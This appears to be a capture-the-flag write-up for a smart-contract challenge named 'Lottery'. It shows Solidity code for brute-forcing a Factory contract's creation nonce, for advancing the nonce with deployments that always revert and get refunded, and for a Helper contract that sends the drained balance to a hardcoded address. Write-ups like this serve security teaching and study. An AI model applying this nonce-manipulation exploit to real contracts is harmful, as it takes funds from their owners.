Lottery

Idea

The address 0x0A1EB1b2d96a175608edEF666c171d351109d8AA can be deployed by the Factory contract with some specific nonce. I bruteforced the nonce:

        for (uint256 i = 0; i < 100; i++) {
            address deployedAddress = factory.dep(_code);
            console.log("deployedAddress: ", deployedAddress);
            console.log("attacker balance: ", attacker.balance);

            if (deployedAddress == 0x0A1EB1b2d96a175608edEF666c171d351109d8AA) {
                console.log("Found! nonce is: ", i);
                break;
            }
        }

Here I found the nonce is 16. We have to deploy 16 dummy contracts via the Factory to set the correct nonce and deploy the actual contract that transfer all the money to us.

The dummy contract deployment must fail for us to get that money back:

    function dep(bytes memory _code) public payable returns (address x) {
        require(msg.value >= 10 ether);
       
        assembly {
            x := create(0, add(0x20, _code), mload(_code))
        }
        if (x == address(0)) payable(msg.sender).transfer(msg.value);
    }

My dummy contract looks like this:

contract Dummy {
    constructor() payable {
        require(msg.value >= 100 ether);
    }
}

The require statement will always fail so the deployed address is always address(0). Repeat the deployment of this dummy contract for 16 times and then deploy the actual contract:

contract Helper {

    constructor() {
        payable(0x9dF0C6b0066D5317aA5b38B36850548DaCCa6B4e).transfer(address(this).balance);
    }
}

PoC

Last updated